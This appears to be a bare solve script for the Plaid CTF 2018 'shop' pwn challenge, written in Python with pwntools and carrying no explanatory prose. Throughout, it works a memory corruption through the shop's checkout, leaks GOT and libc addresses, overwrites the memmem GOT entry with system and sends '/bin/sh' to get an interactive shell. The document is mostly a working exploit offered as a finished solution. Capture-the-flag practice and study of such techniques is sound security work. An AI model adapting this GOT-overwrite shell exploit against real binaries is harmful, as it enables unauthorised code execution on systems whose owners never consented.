[Plaid CTF 2018] shop python solve code 2

code version 1

code version 2

#!/usr/bin/env python
from pwn import *
import string
 
lib  = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#lib  = ELF("./libc.so.6")
elf = ELF("./shop")
conn = process("./shop")
 
def AddItem(item, description="nothing", price="1"):
    conn.sendlineafter("> ","a")
    conn.sendline(item)
    conn.sendline(description)
    conn.sendline(price)
 
def CheckoutAllItem(item_IDs):
    conn.sendline("c")
    conn.sendline(item_IDs)
    result = conn.recvuntil("TOTAL: $")
    total = conn.recvuntil(".")
    
    return (result, total[:-1])
    
def ListItem():
    conn.sendlineafter("> ", "l")
    list = conn.recvuntil("> ")
    return list
    
def RenameShop(name):
    conn.sendline("n")
    conn.sendlineafter('Enter your shop name:', name)
    
conn.sendlineafter('Enter your shop name:', "myria")
 
for i in range(0,33):
    AddItem(str(i))
 
All_ItemIDs = cyclic(0x10000, alphabet='0123456789abcdef', n=4)
 
result, total = CheckoutAllItem(All_ItemIDs)
log.info("Checkout : %s" % total)
 
### fread leak!
fread_got = elf.got["fread"]
memmem_got = elf.got["memmem"]
log.info("fread.got : 0x%x" % fread_got)
RenameShop(p64(fread_got-44))
 
leak = ListItem().split("\n")[-2].split(" - ")[1]
leak = leak+"\x00"*(8-len(leak))
fread_addr = u64(leak)
 
### stdin leak!
stdin = 0x6020D0
RenameShop(p64(stdin-44))
 
leak = ListItem().split("\n")[-2].split(" - ")[1]
leak = leak+"\x00"*(8-len(leak))
stdin_addr = u64(leak)
 
 
### stdout leak!
stdout = 0x6020C0
RenameShop(p64(stdout-12))
 
leak = ListItem().split("\n")[-2].split(":")[0]
leak = leak+"\x00"*(8-len(leak))
stdout_addr = u64(leak)
 
fread_offset = lib.symbols['fread']
memmem_offset = lib.symbols['memmem']
system_offset = lib.symbols['system']
 
stdout_offset = lib.symbols['_IO_2_1_stdout_']
stdin_offset = lib.symbols['_IO_2_1_stdin_']
 
base_addr = fread_addr - fread_offset
memmem_addr = base_addr + memmem_offset
system_addr = base_addr + system_offset
stdin_addr  = base_addr + stdin_offset
 
log.info("%9s : 0x%x" % ("base_addr", base_addr))
log.info("%9s : 0x%x" % ("fread",fread_addr))
log.info("%9s : 0x%x" % ("memmem",memmem_addr))
log.info("%9s : 0x%x" % ("system",system_addr))
log.info("%9s : 0x%x" % ("stdout",stdout_addr))
log.info("%9s : 0x%x" % ("stdin",stdin_addr))
print("")
 
#malloc 
 
ghost = stdout-8
 
RenameShop(p64(ghost)+"@@@@"+"A")
 
result, total = CheckoutAllItem(All_ItemIDs[4:] + p64(stdout_addr)[:4])
log.info("Checkout : %s" % total)
 
print(result)
 
exploit  = "\x00"*8
exploit += p64(stdout_addr)
exploit += p64(0x0)
exploit += p64(stdin_addr)
exploit += p64(0x0)
exploit += p64(0x0)*32 ##checkout item
exploit += p64(memmem_got)
 
RenameShop(exploit)
RenameShop(p64(system_addr))
 
conn.sendline("c")
conn.sendline("/bin/sh")
 
conn.interactive()